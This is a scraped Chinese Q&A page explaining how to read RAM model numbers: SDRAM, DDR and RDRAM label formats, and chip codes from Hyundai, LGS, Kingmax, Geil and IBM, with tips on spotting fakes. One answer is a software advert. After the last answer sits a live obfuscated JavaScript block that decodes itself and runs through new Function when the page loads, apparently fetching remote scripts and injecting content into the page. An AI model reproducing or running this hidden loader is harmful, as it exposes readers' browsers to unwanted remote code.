如何察看内存条型号?

2025-02-28 18:59:51
推荐回答(5个)
回答1:

从PC100标准开始内存条上带有SPD芯片,SPD芯片是内存条正面右侧的一块8管脚小芯片,里面保存着内存条的速度、工作频率、容量、工作电压、CAS、tRCD、tRP、tAC、SPD版本等信息。当开机时,支持SPD功能的主板BIOS就会读取SPD中的信息,按照读取的值来设置内存的存取时间。我们可以借助SPDinfo这类工具软件来查看SPD芯片中的信息,例如软件中显示的SDRAM PC133U-333-542就表示被测内存的技术规范。内存技术规范统一的标注格式,一般为PCx-xxx-xxx,但是不同的内存规范,其格式也有所不同。

1、PC66/100 SDRAM内存标注格式

(1)1.0---1.2版本

这类版本内存标注格式为:PCa-bcd-efgh,例如PC100-322-622R,其中a表示标准工作频率,用MHZ表示(如66MHZ、100MHZ、133MHZ等);b表示最小的CL(即CAS纵列存取等待时间),用时钟周期数表示,一般为2或3;c表示最少的Trcd(RAS相对CAS的延时),用时钟周期数表示,一般为2;d表示TRP(RAS的预充电时间),用时钟周期数表示,一般为2;e表示最大的tAC(相对于时钟下沿的数据读取时间),一般为6(ns)或6.5,越短越好;f表示SPD版本号,所有的PC100内存条上都有EEPROM,用来记录此内存条的相关信息,符合Intel PC100规范的为1.2版本以上;g代表修订版本;h代表模块类型;R代表DIMM已注册,256MB以上的内存必须经过注册。

(2)1.2b+版本

其格式为:PCa-bcd-eeffghR,例如PC100-322-54122R,其中a表示标准工作频率,用MHZ表示;b表示最小的CL(即CAS纵列存取等待时间),用时钟周期数表示,一般为2或3;c表示最少的Trcd(RAS相对CAS的延时),用时钟周期数表示;d表示TRP(RAS的预充电时间),用时钟周期数表示;ee代表相对于时钟下沿的数据读取时间,表达时不带小数点,如54代表5.4ns tAC;ff代表SPD版本,如12代表SPD版本为1.2;g代表修订版本,如2代表修订版本为1.2;h代表模块类型;R代表DIMM已注册,256MB以上的内存必须经过注册。

2、PC133 SDRAM(版本为2.0)内存标注格式

威盛和英特尔都提出了PC133 SDRAM标准,威盛力推的PC133规范是PC133 CAS=3,延用了PC100的大部分规范,例如168线的SDRAM、3.3V的工作电压以及SPD;英特尔的PC133规范要严格一些,是PC133 CAS=2,要求内存芯片至少7.5ns,在133MHz时最好能达到CAS=2。

PC133 SDRAM标注格式为:PCab-cde-ffg,例如PC133U-333-542,其中a表示标准工作频率,单位MHZ;b代表模块类型(R代表DIMM已注册,U代表DIMM不含缓冲区;c表示最小的CL(即CAS的延迟时间),用时钟周期数表示,一般为2或3;d表示RAS相对CAS的延时,用时钟周期数表示;e表示RAS预充电时间,用时钟周期数表示;ff代表相对于时钟下沿的数据读取时间,表达时不带小数点,如54代表5.4ns tAC;g代表SPD版本,如2代表SPD版本为2.0。

3、PC1600/2100 DDR SDRAM(版本为1.0)内存标注格式

其格式为:PCab-ccde-ffg,例如PC2100R-2533-750,其中a表示内存带宽,单位为MB/s;a*1/16=内存的标准工作频率,例如2100代表内存带宽为2100MB/s,对应的标准工作频率为2100*1/16=133MHZ;b代表模块类型(R代表DIMM已注册,U代表DIMM不含缓冲区;cc表示CAS延迟时间,用时钟周期数表示,表达时不带小数点,如25代表CL=2.5;d表示RAS相对CAS的延时,用时钟周期数表示;e表示RAS预充电时间,用时钟周期数表示;ff代表相对于时钟下沿的数据读取时间,表达时不带小数点,如75代表7.5ns tAC;g代表SPD版本,如0代表SPD版本为1.0。

4、RDRAM 内存标注格式

其格式为:aMB/b c d PCe,例如256MB/16 ECC PC800,其中a表示内存容量;b代表内存条上的内存颗粒数量;c代表内存支持ECC;d保留;e代表内存的数据传输率,e*1/2=内存的标准工作频率,例如800代表内存的数据传输率为800Mt/s,对应的标准工作频率为800*1/2=400MHZ。

5、各厂商内存芯片编号

内存打假的方法除了识别内存标注格式外,还可以利用刻在内存芯片上的编号。内存条上一般有多颗内存芯片,内存芯片因为生产厂家的不同,其上的编号也有所不同。

由于韩国HY和SEC占据了世界内存产量的多半份额,它们产的内存芯片质量稳定,价格不高,另外市面上还流行LGS、Kingmax、金邦金条等内存,因此我们就先来看看它们的内存芯片编号。

(1)HYUNDAI(现代)

现代的SDRAM内存兼容性非常好,支持DIMM的主板一般都可以顺利的使用它,其SDRAM芯片编号格式为:HY 5a b cde fg h i j k lm-no

其中HY代表现代的产品;5a表示芯片类型(57=SDRAM,5D=DDR SDRAM);b代表工作电压(空白=5V,V=3.3V,U=2.5V);cde代表容量和刷新速度(16=16Mbits、4K Ref,64=64Mbits、8K Ref,65=64Mbits、4K Ref,128=128Mbits、8K Ref,129=128Mbits、4K Ref,256=256Mbits、16K Ref,257=256Mbits、8K Ref);fg代表芯片输出的数据位宽(40、80、16、32分别代表4位、8位、16位和32位);h代表内存芯片内部由几个Bank组成(1、2、3分别代表2个、4个和8个Bank,是2的幂次关系);I代表接口(0=LVTTL〔Low Voltage TTL〕接口);j代表内核版本(可以为空白或A、B、C、D等字母,越往后代表内核越新);k代表功耗(L=低功耗芯片,空白=普通芯片);lm代表封装形式(JC=400mil SOJ,TC=400mil TSOP-Ⅱ,TD=13mm TSOP-Ⅱ,TG=16mm TSOP-Ⅱ);no代表速度(7=7ns〔143MHz〕,8=8ns〔125MHz〕,10p=10ns〔PC-100 CL2或3〕,10s=10ns〔PC-100 CL3〕,10=10ns〔100MHz〕,12=12ns〔83MHz〕,15=5ns〔66MHz〕)。

例如HY57V658010CTC-10s,HY表示现代的芯片,57代表SDRAM,65是64Mbit和4K refresh cycles/64ms,8是8位输出,10是2个Bank,C是第4个版本的内核,TC是400mil TSOP-Ⅱ封装,10S代表CL=3的PC-100。

市面上HY常见的编号还有HY57V65XXXXXTCXX、HY57V651XXXXXATC10,其中ATC10编号的SDRAM上133MHz相当困难;编号ATC8的可超到124MHz,但上133MHz也不行;编号BTC或-7、-10p的SDRAM上133MHz很稳定。一般来讲,编号最后两位是7K的代表该内存外频是PC100,75的是PC133的,但现代内存目前尾号为75的早已停产,改换为T-H这样的尾号,可市场上PC133的现代内存尾号为75的还有很多,这可能是以前的屯货,但可能性很小,假货的可能性较大,所以最好购买T-H尾号的PC133现代内存。

(2)LGS〔LG Semicon〕

LGs如今已被HY兼并,市面上LGs的内存芯片也很常见。LGS SDRAM内存芯片编号格式为:GM72V ab cd e 1 f g T hi

其中GM代表LGS的产品;72代表SDRAM;ab代表容量(16=16Mbits,66=64Mbits);cd表示数据位宽(一般为4、8、16等);e代表Bank(2=2个Bank,4=4个Bank);f表示内核版本,至少已排到E;g代表功耗(L=低功耗,空白=普通);T代表封装(T=常见的TSOPⅡ封装,I=BLP封装);hi代表速度(7.5=7.5ns〔133MHz〕,8=8ns〔125MHz〕,7K=10ns〔PC-100 CL2或3〕,7J=10ns〔100MHz〕,10K=10ns〔100MHz〕,12=12ns〔83MHz〕,15=15ns〔66MHz〕)。

例如GM72V661641CT7K,表示LGs SDRAM,64Mbit,16位输出,4个Bank,7K速度即PC-100、CL=3。

LGS编号后缀中,7.5是PC133内存;8是真正的8ns PC 100内存,速度快于7K/7J;7K和7J属于PC 100的SDRAM,两者主要区别是第三个反应速度的参数上,7K比7J的要快,上133MHz时7K比7J更稳定;10K属于非PC100规格的,速度极慢,由于与7J/7K外型相似,不少奸商把它们冒充7J/7K的来卖。

(3)Kingmax(胜创)

Kingmax的内存采用先进的TinyBGA封装方式,而一般SDRAM内存都采用TSOP封装。采用TinyBGA封装的内存,其大小是TSOP封装内存的三分之一,在同等空间下TinyBGA封装可以将存储容量提高三倍,而且体积要小、更薄,其金属基板到散热体的最有效散热路径仅有0.36mm,线路阻抗也小,因此具有良好的超频性能和稳定性,不过Kingmax内存与主板芯片组的兼容性不太好,例如Kingmax PC150内存在某些KT133主板上竟然无法开机。

Kingmax SDRAM内存目前有PC150、PC133、PC100三种。其中PC150内存(下图)实际上是能上150外频且能稳定在CL=3(有些能上CL=2)的极品PC133内存条,该类型内存的REV1.2版本主要解决了与VIA 694X芯片组主板兼容问题,因此要好于REV1.1版本。购买Kingmax内存时,你要注意别买了打磨条,市面上JS常把原本是8ns的Kingmax PC100内存打磨成7ns的PC133或PC150内存,所以你最好用SISOFT SANDRA2001等软件测试一下内存的速度,注意观察内存上字迹是否清晰,是否有规则的刮痕,芯片表面是否发白等,看看芯片上的编号。

KINGMAX PC150内存采用了6纳秒的颗粒,这使它的速度得到了很大程度的提升,即使你用它工作在PC133,其速度也会比一般的PC133内存来的快;Kingmax的PC133内存芯片是-7的,例如编号KSV884T4A1A-07;而PC100内存芯片有两种情况:部分是-8的(例如编号KSV884T4A0-08),部分是-7的(例如编号KSV884T4A0-07)。其中KINGMAX PC133与PC100的区别在于:PC100的内存有相当一部分可以超频到133,但不是全部;而PC133的内存却可以保证100%稳定工作在PC133外频下(CL=2)。

(4)Geil(金邦、原樵风金条)

金邦金条分为'金、红、绿、银、蓝'五种内存条,各种金邦金条的SPD均是确定的,对应不同的主板。其中红色金条是PC133内存;金色金条P针对PC133服务器系统,适合双处理器主板;绿色金条是PC100内存;蓝A色金条针对AMD750/760 K7系主板,面向超频玩家;蓝V色金条针对KX133主板;蓝T色金条针对KT-133主板;银色金条是面向笔记本电脑的PC133内存。
IBM的内存芯片编号例如IBM0316809CT3D-10,其中IBM代表IBM的产品;03代表SDRAM;16代表容量16MB;80表示数据位宽(40、80、16分别代表4、8、16位);C代表功耗(P=低功耗,C=普通);D表示内核的版本;10代表速度(68=6.8ns〔147MHz〕,75A=7.5NS〔133MHz〕, 260或222=10ns〔PC100 CL2或3〕,360或322=10ns〔PC100 CL3〕,B版的64Mbit芯片中,260和360在CL=3时的标定速度为:135MHZ,10=10NS〔100MHz〕。

回答2:

回答3:

怎么看内存条型号

回答4:

现在的内存条一般都贴着一个小纸片上面写着的比如DDRII800 就是它的型号

回答5:

http://www.ludashi.com/Z武器 专业而易用的硬件检测系统漏洞扫描和修复各类硬件温度实时监测常用武器(一键清理、驱动升级、一键优化)免费软件

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();